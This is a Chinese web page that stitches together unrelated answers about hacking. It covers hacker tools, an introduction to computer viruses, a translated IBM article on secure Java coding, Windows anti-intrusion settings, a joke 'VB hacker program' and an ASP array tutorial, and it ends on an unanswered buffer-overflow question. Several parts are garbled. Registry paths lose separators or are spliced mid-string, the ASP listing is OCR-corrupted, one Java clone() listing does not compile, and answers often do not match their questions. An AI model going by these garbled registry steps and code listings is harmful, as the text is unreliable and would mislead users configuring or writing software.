电脑黑客如何编写程序？

额？黑客只有一小部分人自己琢磨着编程序（例如小榕工作室，专门编黑客软件），大部分都是用现有软件，例如流光啦之类的，还有一些直接用黑客文件，例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件

怎样防止黑客入侵电脑 九个设置让电脑远离黑客

让电脑远离黑客，可以用杀毒软件和安全卫士。

电脑病毒是指编制者在电脑程序中插入的破坏电脑功能或者破坏数据的，影响电脑使用并且能够自我复制的一组电脑指令或程序代码。与生物中的病毒不一样，电脑病毒不是天然存在的，是某些人利用电脑软件和硬件固有的脆弱性编制的一组指令集或程序代码。它能通过某种途径潜伏在电脑的存储介质里，当达到某种条件时被激活，通过修改其它程序的方法把恶意代码或程序放入其它程序中，从而感染这些程序。如“熊猫烧香”是病毒的典型代表。

现在已经发现并正式命名的电脑病毒有几百种，如耶路撒冷、巴基斯坦智囊、维也纳、冰岛人、大麻、磁盘杀手、快乐的星期天、小球、疯狂拷贝、下雨、音乐、1505、1704、648、405。

电脑病毒按其产生的后果分为良性病毒和恶性病毒。良性病毒发作时不破坏系统数据，只占用系统资源的病毒，一般只是占用电脑资源，产生一些无所谓的消耗，或干扰机器的运行，如小球病毒。恶性病毒一旦发作便会破坏数据或系统的病毒，如大麻病毒等。

以病毒的寄生方式分类，可以分为操作系统型病毒、外壳病毒、入侵病毒和源码病毒。

操作系统型病毒——运行时，用自己的逻辑部分取代部分操作系统的程序模块，如大麻病毒、磁盘杀手等。

外壳病毒——把病毒自身包围在主程序的四周，对原来的程序不做修改，在运行主程序时，病毒首先进入内存。如耶路撒冷、维也纳、快乐的星期天等。

入侵病毒——侵入到现有程序之中，实际上把病毒插入到主程序中去。

源码病毒——在程序被编译之前插入到一些编程语言编写的程序中。

电脑病毒的传染途径通常有三种：软盘的互换使用、硬盘的感染和电脑网络的传染。

电脑病毒主要寄生在磁盘的引导扇区、可执行文件、硬盘的主引导扇区中。

电脑感染了病毒后，程序装入的时间比平时长很多，可执行程序的长度增加，磁盘访问的时间比平时长，有异常的磁盘访问，有规律地发现异常信息，可用系统空间不断变小，磁盘的不可用数增多，数据和程序丢失，打印时出现问题，频繁死机，磁盘的卷名发生了变化，使用关闭写保护的软盘时屏幕上出现软盘写保护的信息，异常要求输入口令，机器发出怪叫声，command.com、autoexec.bat、config.sys等文件已经被修改，出现异常的隐含文件。

电脑一旦染上了病毒就必须予以清除。杀毒软件也叫做反病毒软件和防毒软件，是用于消除电脑病毒、特洛伊木马和恶意软件的一类软件。杀毒软件通常集成监控识别、病毒扫描清除和自动升级等功能，有的杀毒软件还带有数据恢复等功能，是电脑防御系统的重要组成部分。

主流的杀毒软件有360、金山毒霸、瑞星杀毒软件等，集合了杀毒、防毒、实时监控和防火墙功能。

360杀毒软件的主界面，简洁大方，功能列表一目了然，单击【快速扫描】按钮，进入查杀状态。

杀毒结束后，会给出杀毒报告，根据提示进行相应的操作。

杀毒的基本原理是把磁盘上的文件与病毒库里的病毒特征进行对比，在满足特点后认定为病毒，杀毒软件默认进行杀毒操作，并把病毒进行隔离。

杀毒软件处于启用状态，在状态栏的右端显示有小图标，右击这个图标，会给出相应快捷菜单列表，可以根据需要有针对性地启用杀毒功能。

发现病毒越早越好。能够在病毒产生危害之前发现和排除它，可以使系统免受危害。能够在病毒广泛传播之前发现它，可以使系统修复的任务较轻，较容易。病毒在系统内存在的时间越长，产生的危害就越大。

怎么样才能写出安全的Java代码？不被黑客攻击？

在本文中，我们讨论了对付 13 种不同静态暴露的技巧。对于每种暴露，我们解释了不处理这些安全性问题所造成的影响。我们还为您推荐了一些准则，要开发不受这些静态安全性暴露威胁的、健壮且安全的 Java 应用程序，您应该遵循这些准则。一有合适的时机，我们就提供代码样本（既有暴露的代码也有无暴露的代码）。

对付高严重性暴露的技巧

请遵循下列建议以避免高严重性静态安全性暴露：

限制对变量的访问

让每个类和方法都成为 final，除非有足够的理由不这样做

不要依赖包作用域

使类不可克隆

使类不可序列化

使类不可逆序列化

避免硬编码敏感数据

查找恶意代码

限制对变量的访问

如果将变量声明为 public，那么外部代码就可以操作该变量。这可能会导致安全性暴露。

影响

如果实例变量为 public，那么就可以在类实例上直接访问和操作该实例变量。将实例变量声明为 protected 并不一定能解决这一问题：虽然不可能直接在类实例基础上访问这样的变量，但仍然可以从派生类访问这个变量。

清单 1 演示了带有 public 变量的代码，因为变量为 public 的，所以它暴露了。

清单 1. 带有 public 变量的代码

class Test {

public int id;

protected String name;

Test(){

id = 1;

name = "hello world";

}

//code

}

public class MyClass extends Test{

public void methodIllegalSet(String name){

this.name = name; // this should not be allowed

}

public static void main(String[] args){

Test obj = new Test();

obj.id = 123; // this should not be allowed

MyClass mc = new MyClass();

mc.methodIllegalSet("Illegal Set Value");

}

}

建议

一般来说，应该使用取值方法而不是 public 变量。按照具体问题具体对待的原则，在确定哪些变量特别重要因而应该声明为 private 时，请将编码的方便程度及成本同安全性需要加以比较。清单 2 演示了以下列方式来使之安全的代码：

清单 2. 不带有 public 变量的代码

class Test {

private int id;

private String name;

Test(){

id = 1;

name = "hello world";

}

public void setId(int id){

this.id = id;

}

public void setName(String name){

this.name = name;

}

public int getId(){

return id;

}

public String getName(){

return name;

}

}

让每个类和方法都为 final

不允许扩展的类和方法应该声明为 final。这样做防止了系统外的代码扩展类并修改类的行为。

影响

仅仅将类声明为非 public 并不能防止攻击者扩展类，因为仍然可以从它自己的包内访问该类。

建议

让每个类和方法都成为 final，除非有足够的理由不这样做。按此建议，我们要求您放弃可扩展性，虽然它是使用诸如 Java 语言之类的面向对象语言的主要优点之一。在试图提供安全性时，可扩展性却成了您的敌人；可扩展性只会为攻击者提供更多给您带来麻烦的方法。

不要依赖包作用域

没有显式地标注为 public、private 或 protected 的类、方法和变量在它们自己的包内是可访问的。

影响

如果 Java 包不是封闭的，那么攻击者就可以向包内引入新类并使用该新类来访问您想保护的内容。诸如 java.lang 之类的一些包缺省是封闭的，一些 JVM 也让您封闭自己的包。然而，您最好假定包是不封闭的。

建议

从软件工程观点来看，包作用域具有重要意义，因为它可以阻止对您想隐藏的内容进行偶然的、无意中的访问。但不要依靠它来获取安全性。应该将类、方法和变量显式标注为 public、private 或 protected 中适合您特定需求的那种。

使类不可克隆

克隆允许绕过构造器而轻易地复制类实例。

影响

即使您没有有意使类可克隆，外部源仍然可以定义您的类的子类，并使该子类实现 java.lang.Cloneable。这就让攻击者创建了您的类的新实例。拷贝现有对象的内存映象生成了新的实例；虽然这样做有时候是生成新对象的可接受方法，但是大多数时候是不可接受的。清单 3 说明了因为可克隆而暴露的代码：

清单 3. 可克隆代码

class MyClass{

private int id;

private String name;

public MyClass(){

id=1;

name="HaryPorter";

}

public MyClass(int id,String name){

this.id=id;

this.name=name;

}

public void display(){

System.out.println("Id ="+id+"

"+"Name="+name);

}

}

// hackers code to clone the user class

public class Hacker extends MyClass implements Cloneable {

public static void main(String[] args){

Hacker hack=new Hacker();

try{

MyClass o=(MyClass)hack.clone();

o.display();

}

catch(CloneNotSupportedException e){

e.printStackTrace();

}

}

}

建议

要防止类被克隆，可以将清单 4 中所示的方法添加到您的类中：

清单 4. 使您的代码不可克隆

public final Object clone()

throws java.lang.CloneNotSupportedException{

throw new java.lang.CloneNotSupportedException();

}

如果想让您的类可克隆并且您已经考虑了这一选择的后果，那么您仍然可以保护您的类。要做到这一点，请在您的类中定义一个为 final 的克隆方法，并让它依赖于您的一个超类中的一个非 final 克隆方法，如清单 5 中所示：

清单 5. 以安全的方式使您的代码可克隆

public final Object clone()

throws java.lang.CloneNotSupportedException {

super.clone();

}

类中出现 clone() 方法防止攻击者重新定义您的 clone 方法。

使类不可序列化

序列化允许将类实例中的数据保存在外部文件中。闯入代码可以克隆或复制实例，然后对它进行序列化。

影响

序列化是令人担忧的，因为它允许外部源获取对您的对象的内部状态的控制。这一外部源可以将您的对象之一序列化成攻击者随后可以读取的字节数组，这使得攻击者可以完全审查您的对象的内部状态，包括您标记为 private 的任何字段。它也允许攻击者访问您引用的任何对象的内部状态。

建议

要防止类中的对象被序列化，请在类中定义清单 6 中的 writeObject() 方法：

清单 6. 防止对象序列化

private final void writeObject(ObjectOutputStream out)

throws java.io.NotSerializableException {

throw new java.io.NotSerializableException("This object cannot

be serialized");

}

通过将 writeObject() 方法声明为 final，防止了攻击者覆盖该方法。

使类不可逆序列化

通过使用逆序列化，攻击者可以用外部数据或字节流来实例化类。

影响

不管类是否可以序列化，都可以对它进行逆序列化。外部源可以创建逆序列化成类实例的字节序列。这种可能为您带来了大量风险，因为您不能控制逆序列化对象的状态。请将逆序列化作为您的对象的另一种公共构造器 — 一种您无法控制的构造器。

建议

要防止对对象的逆序列化，应该在您的类中定义清单 7 中的 readObject() 方法：

清单 7. 防止对象逆序列化

private final void readObject(ObjectInputStream in)

throws java.io.NotSerializableException {

throw new java.io.NotSerializableException("This object cannot

be deserialized");

}

通过将该方法声明为 final，防止了攻击者覆盖该方法。

避免硬编码敏感数据

您可能会尝试将诸如加密密钥之类的秘密存放在您的应用程序或库的代码。对于你们开发人员来说，这样做通常会把事情变得更简单。

影响

任何运行您的代码的人都可以完全访问以这种方法存储的秘密。没有什么东西可以防止心怀叵测的程序员或虚拟机窥探您的代码并了解其秘密。

建议

可以以一种只可被您解密的方式将秘密存储在您代码中。在这种情形下，秘密只在于您的代码所使用的算法。这样做没有多大坏处，但不要洋洋得意，认为这样做提供了牢固的保护。您可以遮掩您的源代码或字节码 — 也就是，以一种为了解密必须知道加密格式的方法对源代码或字节码进行加密 — 但攻击者极有可能能够推断出加密格式，对遮掩的代码进行逆向工程从而揭露其秘密。

这一问题的一种可能解决方案是：将敏感数据保存在属性文件中，无论什么时候需要这些数据，都可以从该文件读取。如果数据极其敏感，那么在访问属性文件时，您的应用程序应该使用一些加密／解密技术。

查找恶意代码

从事某个项目的某个心怀叵测的开发人员可能故意引入易受攻击的代码，打算日后利用它。这样的代码在初始化时可能会启动一个后台进程，该进程可以为闯入者开后门。它也可以更改一些敏感数据。

这样的恶意代码有三类：

类中的 main 方法

定义过且未使用的方法

注释中的死代码

影响

入口点程序可能很危险而且有恶意。通常，Java 开发人员往往在其类中编写 main() 方法，这有助于测试单个类的功能。当类从测试转移到生产环境时，带有 main() 方法的类就成为了对应用程序的潜在威胁，因为闯入者将它们用作入口点。

请检查代码中是否有未使用的方法出现。这些方法在测试期间将会通过所有的安全检查，因为在代码中不调用它们 — 但它们可能含有硬编码在它们内部的敏感数据（虽然是测试数据）。引入一小段代码的攻击者随后可能调用这样的方法。

避免最终应用程序中的死代码（注释内的代码）。如果闯入者去掉了对这样的代码的注释，那么代码可能会影响系统的功能性。

可以在清单 8 中看到所有三种类型的恶意代码的示例：

清单 8. 潜在恶意的 Java 代码

public void unusedMethod(){

// code written to harm the system

}

public void usedMethod(){

//unusedMethod(); //code in comment put with bad intentions,

//might affect the system if uncommented

// int x = 100;

// x=x+10; //Code in comment, might affect the

//functionality of the system if uncommented

}

建议

应该将（除启动应用程序的 main() 方法之外的）main() 方法、未使用的方法以及死代码从应用程序代码中除去。在软件交付使用之前，主要开发人员应该对敏感应用程序进行一次全面的代码评审。应该使用“Stub”或“dummy”类代替 main() 方法以测试应用程序的功能。

对付中等严重性暴露的技巧

请遵循下列建议以避免中等严重性静态安全性暴露：

不要依赖初始化

不要通过名称来比较类

不要使用内部类

不要依赖初始化

您可以不运行构造器而分配对象。这些对象使用起来不安全，因为它们不是通过构造器初始化的。

影响

在初始化时验证对象确保了数据的完整性。

例如，请想象为客户创建新帐户的 Account 对象。只有在 Account 期初余额大于 0 时，才可以开设新帐户。可以在构造器里执行这样的验证。有些人未执行构造器而创建 Account 对象，他可能创建了一个具有一些负值的新帐户，这样会使系统不一致，容易受到进一步的干预。

建议

在使用对象之前，请检查对象的初始化过程。要做到这一点，每个类都应该有一个在构造器中设置的私有布尔标志，如清单 9 中的类所示。在每个非 static 方法中，代码在任何进一步执行之前都应该检查该标志的值。如果该标志的值为 true，那么控制应该进一步继续；否则，控制应该抛出一个例外并停止执行。那些从构造器调用的方法将不会检查初始化的变量，因为在调用方法时没有设置标志。因为这些方法并不检查标志，所以应该将它们声明为 private 以防止用户直接访问它们。

清单 9. 使用布尔标志以检查初始化过程

public class MyClass{

private boolean initialized = false;

//Other variables

public MyClass (){

//variable initialization

method1();

initialized = true;

}

private void method1(){ //no need to check for initialization variable

//code

}

public void method2(){

try{

if(initialized==true){

//proceed with the business logic

}

else{

throw new Exception("Illegal State Of the object");

}

}catch(Exception e){

e.printStackTrace();

}

}

}

如果对象由逆序列化进行初始化，那么上面讨论的验证机制将难以奏效，因为在该过程中并不调用构造器。在这种情况下，类应该实现 ObjectInputValidation 接口：

清单 10. 实现 ObjectInputValidation

interface java.io.ObjectInputValidation {

public void validateObject() throws InvalidObjectException;

}

所有验证都应该在 validateObject() 方法中执行。对象还必须调用 ObjectInputStream.RegisterValidation() 方法以为逆序列化对象之后的验证进行注册。 RegisterValidation() 的第一个参数是实现 validateObject() 的对象，通常是对对象自身的引用。注：任何实现 validateObject() 的对象都可能充当对象验证器，但对象通常验证它自己对其它对象的引用。RegisterValidation() 的第二个参数是一个确定回调顺序的整数优先级，优先级数字大的比优先级数字小的先回调。同一优先级内的回调顺序则不确定。

当对象已逆序列化时，ObjectInputStream 按照从高到低的优先级顺序调用每个已注册对象上的 validateObject()。

不要通过名称来比较类

有时候，您可能需要比较两个对象的类，以确定它们是否相同；或者，您可能想看看某个对象是否是某个特定类的实例。因为 JVM 可能包括多个具有相同名称的类（具有相同名称但却在不同包内的类），所以您不应该根据名称来比较类。

影响

如果根据名称来比较类，您可能无意中将您不希望授予别人的权利授予了闯入者的类，因为闯入者可以定义与您的类同名的类。

例如，请假设您想确定某个对象是否是类 com.bar.Foo 的实例。清单 11 演示了完成这一任务的错误方法：

清单 11. 比较类的错误方法

if(obj.getClass().getName().equals("Foo")) // Wrong!

// objects class is named Foo

}else{

// object's class has some other name

}

建议

在那些非得根据名称来比较类的情况下，您必须格外小心，必须确保使用了当前类的 ClassLoader 的当前名称空间，如清单 12 中所示：

清单 12. 比较类的更好方法

if(obj.getClass() == this.getClassLoader().loadClass("com.bar.Foo")){

// object's class is equal to

//the class that this class calls "com.bar.Foo"

}else{

// object's class is not equal to the class that

// this class calls "com.bar.Foo"

}

然而，比较类的更好方法是直接比较类对象看它们是否相等。例如，如果您想确定两个对象 a 和 b 是否属同一个类，那么您就应该使用清单 13 中的代码：

清单 13. 直接比较对象来看它们是否相等

if(a.getClass() == b.getClass()){

// objects have the same class

}else{

// objects have different classes

}

尽可能少用直接名称比较。

不要使用内部类

Java 字节码没有内部类的概念，因为编译器将内部类转换成了普通类，而如果没有将内部类声明为 private，则同一个包内的任何代码恰好能访问该普通类。

影响

因为有这一特性，所以包内的恶意代码可以访问这些内部类。如果内部类能够访问括起外部类的字段，那么情况会变得更糟。可能已经将这些字段声明为 private，这样内部类就被转换成了独立类，但当内部类访问外部类的字段时，编译器就将这些字段从专用（private）的变为在包（package）的作用域内有效的。内部类暴露了已经够糟糕的了，但更糟糕的是编译器使您将某些字段成为 private 的举动成为徒劳。

建议 如果能够不使用内部类就不要使用内部类。

对付低严重性暴露的技巧

请遵循下列建议以避免低严重性静态安全性暴露：

避免返回可变对象

检查本机方法

避免返回可变对象

Java 方法返回对象引用的副本。如果实际对象是可改变的，那么使用这样一个引用调用程序可能会改变它的内容，通常这是我们所不希望见到的。

影响

请考虑这个示例：某个方法返回一个对敏感对象的内部数组的引用，假定该方法的调用程序不改变这些对象。即使数组对象本身是不可改变的，也可以在数组对象以外操作数组的内容，这种操作将反映在返回该数组的对象中。如果该方法返回可改变的对象，那么事情会变得更糟；外部实体可以改变在那个类中声明的 public 变量，这种改变将反映在实际对象中。

清单 14 演示了脆弱性。getExposedObj() 方法返回了 Exposed 对象的引用副本，该对象是可变的：

清单 14. 返回可变对象的引用副本

class Exposed{

private int id;

private String name;

public Exposed(){

}

public Exposed(int id, String name){

this.id = id;

this.name = name;

}

public int getId(){

return id;

}

public String getName(){

return name;

}

public void setId(int id){

this.id=id;

}

public void setName(String name){

this.name = name;

}

public void display(){

System.out.println("Id = "+ id + " Name = "+ name);

}

}

public class Exp12{

private Exposed exposedObj = new Exposed(1,"Harry Porter");

public Exposed getExposedObj(){

return exposedObj; //returns a reference to the object.

}

public static void main(String[] args){

Exp12 exp12 = new Exp12();

exp12.getExposedObj().display();

Exposed exposed = exp12.getExposedObj();

exposed.setId(10);

exposed.setName("Hacker");

exp12.getExposedObj().display();

}

}

建议

如果方法返回可改变的对象，但又不希望调用程序改变该对象，请修改该方法使之不返回实际对象而是返回它的副本或克隆。要改正清单 14 中的代码，请让它返回 Exposed 对象的副本,如清单 15 中所示：

清单 15. 返回可变对象的副本

public Exposed getExposedObj(){

return new Exposed(exposedObj.getId(),exposedObj.getName());

}

或者，您的代码也可以返回 Exposed 对象的克隆。

检查本机方法

本机方法是一种 Java 方法，其实现是用另一种编程语言编写的，如 C 或 C++。有些开发人员实现本机方法，这是因为 Java 语言即使使用即时（just-in-time）编译器也比许多编译过的语言要慢。其它人需要使用本机代码是为了在 JVM 以外实现特定于平台的功能。

影响

使用本机代码时，请小心，因为对这些代码进行验证是不可能的，而且本机代码可能潜在地允许 applet 绕过通常的安全性管理器（Security Manager）和 Java 对设备访问的控制。

建议

如果非得使用本机方法，那么请检查这些方法以确定：

它们返回什么

它们获取什么作为参数

它们是否绕过安全性检查

它们是否是 public、private 等等

它们是否含有绕过包边界从而绕过包保护的方法调用

结束语

编写安全 Java 代码是十分困难的，但本文描述了一些可行的实践来帮您编写安全 Java 代码。这些建议并不能解决您的所有安全性问题，但它们将减少暴露数目。最佳软件安全性实践可以帮助确保软件正常运行。安全至关重要和高可靠系统设计者总是花费大量精力来分析和跟踪软件行为。只有通过将安全性作为至关紧要的系统特性来对待 — 并且从一开始就将它构建到应用程序中，我们才可以避免亡羊补牢似的、修修补补的安全性方法。

参考资料

请通过单击文章顶部或底部的讨论来参加本文的论坛。

了解关于 Java 安全性 API 的更多知识。

developerWorks 安全专题上通常含有有关计算机安全性的优秀资源。

Larry Koved、 Anthony J. Nadalin、Don Neal 和 Tim Lawson 合作编写的 “The evolution of Java security”（developerWorks，1998 年）对 Java 语言的安全性模型早期开发进行了深入探讨。

Sing Li 在他的 Java 安全性系列文章（由两部分组成的）（developerWorks， 2001 年 2 月）中向开发人员显示：尽管社区可能不得不重新考虑 Java 2 中的安全性设计，还是出现了只对开发人员有帮助，可以满足他们的需求的一致的进展：

第一部分

第二部分

John Viega、Tom Mutdosch、 Gary McGraw 和 Ed Felten 合著的 “Statically scanning Java code for security vulnerabilities” （IEEE Software，2000 年 9 月）介绍了一种 Java 工具，可以使用该工具来检查您的 Java 代码中的安全性漏洞。

G. McGraw 和 E. Felten 合作编写的 Securing Java: Getting Down to Business with Mobile Code（John Wiley 和 Sons，1998 年）深入涵盖了 Java 安全性。（文档是 PDF 格式的。）

定期检查 IBM 研究 Java 安全页面以便 IBM 在安全性领域的创新有重要发展时能够跟踪这一创新。

如果您的 Java 代码运行在 S/390 系统上，那么您将需要查阅 S/390 Java 安全页面以获取额外的信息。

关于作者

Bijaya Nanda Sahu 是就职于印度 IBM Global Services 的软件工程师。他从事过各种因特网技术和框架（J2EE、WSBCC、JADE）、 WebSphere 相关技术、UML 和 OOAD 方面的工作。目前，他从事因特网银行安全性问题方面的工作，重点在 WebSphere Application Server 和 Portal Server 上。可以通过 bijaya.sahu@in.ibm.com 和他联系

怎样反黑客攻击

一、取消文件夹隐藏共享

如果你使用了Windows 2000/XP系统，右键单击C盘或者其他盘，选择共享，你会惊奇地发现它已经被设置为“共享该文件夹”，而在“网上邻居”中却看不到这些内容，这是怎么回事呢？

原来，在默认状态下，Windows 2000/XP会开启所有分区的隐藏共享，从“控制面板/管理工具/计算机管理”窗口下选择“系统工具/共享文件夹/共享”，就可以看到硬盘上的每个分区名后面都加了一个“$”。但是只要键入“计算机名或者IPC$”，系统就会询问用户名和密码，遗憾的是，大多数个人用户系统Administrator的密码都为空，入侵者可以轻易看到C盘的内容，这就给网络安全带来了极大的隐患。

怎么来消除默认共享呢？方法很简单，打开注册表编辑器，进入“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetSevicesLanmanworkstationparameters”，新建一个名为“AutoShareWKs”的双字节值，并将其值设为“0”，然后重新启动电脑，这样共享就取消了。

二、拒绝恶意代码

恶意网页成了宽带的最大威胁之一。以前使用Modem，因为打开网页的速度慢，在完全打开前关闭恶意网页还有避免中招的可能性。现在宽带的速度这么快，所以很容易就被恶意网页攻击。

一般恶意网页都是因为加入了用编写的恶意代码才有破坏力的。这些恶意代码就相当于一些小程序，只要打开该网页就会被运行。所以要避免恶意网页的攻击只要禁止这些恶意代码的运行就可以了。

运行IE浏览器，点击“工具/Internet选项/安全/自定义级别”，将安全级别定义为“安全级-高”，对“ActiveX控件和插件”中第2、3项设置为“禁用”，其它项设置为“提示”，之后点击“确定”。这样设置后，当你使用IE浏览网页时，就能有效避免恶意网页中恶意代码的攻击。

三、封死黑客的“后门”

俗话说“无风不起浪”，既然黑客能进入，那说明系统一定存在为他们打开的“后门”，只要堵死这个后门，让黑客无处下手，便无后顾之忧！

1.删掉不必要的协议

对于服务器和主机来说，一般只安装TCP/IP协议就够了。鼠标右击“网络邻居”，选择“属性”，再鼠标右击“本地连接”，选择“属性”，卸载不必要的协议。其中NETBIOS是很多安全缺陷的根源，对于不需要提供文件和打印共享的主机，还可以将绑定在TCP/IP协议的NETBIOS关闭，避免针对NETBIOS的攻击。选择“TCP/IP协议/属性/高级”，进入“高级TCP/IP设置”对话框，选择“WINS”标签，勾选“禁用TCP/IP上的NETBIOS”一项，关闭NETBIOS.

2.关闭“文件和打印共享”

文件和打印共享应该是一个非常有用的功能，但在不需要它的时候，也是黑客入侵的很好的安全漏洞。所以在没有必要“文件和打印共享”的情况下，我们可以将它关闭。用鼠标右击“网络邻居”，选择“属性”，然后单击“文件和打印共享”按钮，将弹出的“文件和打印共享”对话框中的两个复选框中的钩去掉即可。

虽然“文件和打印共享”关闭了，但是还不能确保安全，还要修改注册表，禁止它人更改“文件和打印共享”。打开注册表编辑器，选择“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesNetWork”主键，在该主键下新建DWORD类型的键值，键值名为“NoFileSharingControl”，键值设为“1”表示禁止这项功能，从而达到禁止更改“文件和打印共享”的目的；键值为“0”表示允许这项功能。这样在“网络邻居”的“属性”对话框中“文件和打印共享”就不复存在了。

3.把Guest账号禁用

有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具，那还是禁止的好。打开控制面板，双击“用户和密码”，单击“高级”选项卡，再单击“高级”按钮，弹出本地用户和组窗口。在Guest账号上面点击右键，选择属性，在“常规”页中选中“账户已停用”。另外，将Administrator账号改名可以防止黑客知道自己的管理员账号，这会在很大程度上保证计算机安全。

4.禁止建立空连接

在默认的情况下，任何用户都可以通过空连接连上服务器，枚举账号并猜测密码。因此，我们必须禁止建立空连接。方法有以下两种：

方法一是修改注册表：打开注册表“HKEY_LOCAL_MACHINESystemCurrentControlSetControlLSA”，将DWORD值“RestrictAnonymous”的键值改为“1”即可。

最后建议大家给自己的系统打上补丁，微软那些没完没了的补丁还是很有用的！

四、隐藏IP地址

黑客经常利用一些网络探测技术来查看我们的主机信息，主要目的就是得到网络中主机的IP地址。IP地址在网络安全上是一个很重要的概念，如果攻击者知道了你的IP地址，等于为他的攻击准备好了目标，他可以向这个IP发动各种进攻，如DoS（拒绝服务）攻击、Floop溢出攻击等。隐藏IP地址的主要方法是使用代理服务器。

与直接连接到Internet相比，使用代理服务器能保护上网用户的IP地址，从而保障上网安全。代理服务器的原理是在客户机（用户上网的计算机）和远程服务器（如用户想访问远端WWW服务器）之间架设一个“中转站”，当客户机向远程服务器提出服务要求后，代理服务器首先截取用户的请求，然后代理服务器将服务请求转交远程服务器，从而实现客户机和远程服务器之间的联系。很显然，使用代理服务器后，其它用户只能探测到代理服务器的IP地址而不是用户的IP地址，这就实现了隐藏用户IP地址的目的，保障了用户上网安全。提供免费代理服务器的网站有很多，你也可以自己用代理猎手等工具来查找。

五、关闭不必要的端口

黑客在入侵时常常会扫描你的计算机端口，如果安装了端口监视程序（比如Netwatch），该监视程序则会有警告提示。如果遇到这种入侵，可用工具软件关闭用不到的端口，比如，用“Norton Internet Security”关闭用来提供网页服务的80和443端口，其他一些不常用的端口也可关闭。

六、更换管理员帐户

Administrator帐户拥有最高的系统权限，一旦该帐户被人利用，后果不堪设想。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码，所以我们要重新配置Administrator帐号。

首先是为Administrator帐户设置一个强大复杂的密码，然后我们重命名Administrator帐户，再创建一个没有管理员权限的Administrator帐户欺骗入侵者。这样一来，入侵者就很难搞清哪个帐户真正拥有管理员权限，也就在一定程度上减少了危险性。

七、杜绝Guest帐户的入侵

Guest帐户即所谓的来宾帐户，它可以访问计算机，但受到限制。不幸的是，Guest也为黑客入侵打开了方便之门！网上有很多文章中都介绍过如何利用Guest用户得到管理员权限的方法，所以要杜绝基于Guest帐户的系统入侵。

禁用或彻底删除Guest帐户是最好的办法，但在某些必须使用到Guest帐户的情况下，就需要通过其它途径来做好防御工作了。首先要给Guest设一个强壮的密码，然后详细设置Guest帐户对物理路径的访问权限。举例来说，如果你要防止Guest用户可以访问tool文件夹，可以右击该文件夹，在弹出菜单中选择“安全”标签，从中可看到可以访问此文件夹的所有用户。删除管理员之外的所有用户即可。或者在权限中为相应的用户设定权限，比方说只能“列出文件夹目录”和“读取”等，这样就安全多了。

八、安装必要的安全软件

我们还应在电脑中安装并使用必要的防黑软件，杀毒软件和防火墙都是必备的。在上网时打开它们，这样即便有黑客进攻我们的安全也是有保证的。

九、防范木马程序

木马程序会窃取所植入电脑中的有用信息，因此我们也要防止被黑客植入木马程序，常用的办法有：

● 在下载文件时先放到自己新建的文件夹里，再用杀毒软件来检测，起到提前预防的作用。

● 在“开始”→“程序”→“启动”或“开始”→“程序”→“Startup”选项里看是否有不明的运行项目，如果有，删除即可。

● 将注册表里 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的所有以“Run”为前缀的可疑程序全部删除即可。

十、不要回陌生人的邮件

有些黑客可能会冒充某些正规网站的名义，然后编个冠冕堂皇的理由寄一封信给你要求你输入上网的用户名称与密码，如果按下“确定”，你的帐号和密码就进了黑客的邮箱。所以不要随便回陌生人的邮件，即使他说得再动听再诱人也不上当。

做好IE的安全设置

ActiveX控件和 Applets有较强的功能，但也存在被人利用的隐患，网页中的恶意代码往往就是利用这些控件编写的小程序，只要打开网页就会被运行。所以要避免恶意网页的攻击只有禁止这些恶意代码的运行。IE对此提供了多种选择，具体设置步骤是：“工具”→“Internet选项”→“安全”→“自定义级别”，建议您将ActiveX控件与相关选项禁用。谨慎些总没有错！

另外，在IE的安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过，微软在这里隐藏了“我的电脑”的安全性设定，通过修改注册表把该选项打开，可以使我们在对待ActiveX控件和 Applets时有更多的选择，并对本地电脑安全产生更大的影响。

下面是具体的方法：打开“开始”菜单中的“运行”，在弹出的“运行”对话框中输入Regedit.exe，打开注册表编辑器，点击前面的“+”号顺次展开到：HKEY_CURRE-Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0，在右边窗口中找到DWORD值“Flags”，默认键值为十六进制的21（十进制33），双击“Flags”，在弹出的对话框中将它的键值改为“1”即可，关闭注册表编辑器。无需重新启动电脑，重新打开IE，再次点击“工具→Internet选项→安全”标签，你就会看到多了一个“我的电脑”图标，在这里你可以设定它的安全等级。将它的安全NT_USER\Software\等级设定高些，这样的防范更严密。

怎样在VB里写黑客程序

第一:先把自己涂黑;

第二:打开VB;

第三:在代码窗口敲入“这是黑客程序”;

第四:在点击“运行”的同时拔掉计算机电源;

第五:测试成功!

黑客怎么编程序？

不知道你要学那一种：Asp.net编程中的数组基础实例学习asp.net数组(Array)可以视为储存多个数据类型相同的值的变量，以同一个变量名称，不同的索引值来区分表示多个值。多用来存放性质或类型相同的数据。 1.数组的声明数组的声明有以下两种格式：以下是引用片段：

Dim数组名(元素数量) 【As数据类型】

Dim数组名() 【As数据类型】={元素值l，元素值2…}

2.数组元素的表示当声明一个数组并赋予其元素之后，该数组即可开始执行，其中数组的元素表示方式如下：数组名(索引值)=元素值提示： 索引值自O起计算。数组元素量最多可声明264一1个(即Long类型)。3.范例编写一个asp程序，利用数组制作进入网页后显示当日日期的功能。程序代码：以下是引用片段：

01html

02hr

03 ％

04 Dim cw(7)

05 cw(O)=¨星期日" ．

06 cw(1)=¨星期一”

07 cw(2)="星期二”

08 cw(3)=¨星期三”

09 cw(4)=¨星期四¨

10 cw(5)=¨星期五”

11 cw(6)=¨星期六¨

1 2 response．write(¨今天是¨yea r(now())"年")

13 response．write(month(now()) "月" day(now()) ＆ "日")

14 response．write(cw(Wee kDay(now())一1))

l5 ％

1 6hr

l7／html

本程序的说明如下· 第3-1 5行：为asp程序的主体。· 第4行：声明一个数组CW，数组中元素有7个。· 第5～11行：定义数组中的每一个元素，数据类型是字符串。· 第1 2-1 4行：利用日期时间函数与数组将日期用response对象的write方法输出，其中在第l 4行，以WeekDay函数代.A,now()函数以求出星期值，其值范围在1～7，因为要代入数组中的索引值，而数组中的索引值从O计算，所以在此输出程序中要减1，将求出的星期值范围定在O～6，才能符合数组的索引值，以带出各索引值所代表的字符串。

如何利用缓冲区溢出的程序错误来运行黑客程序

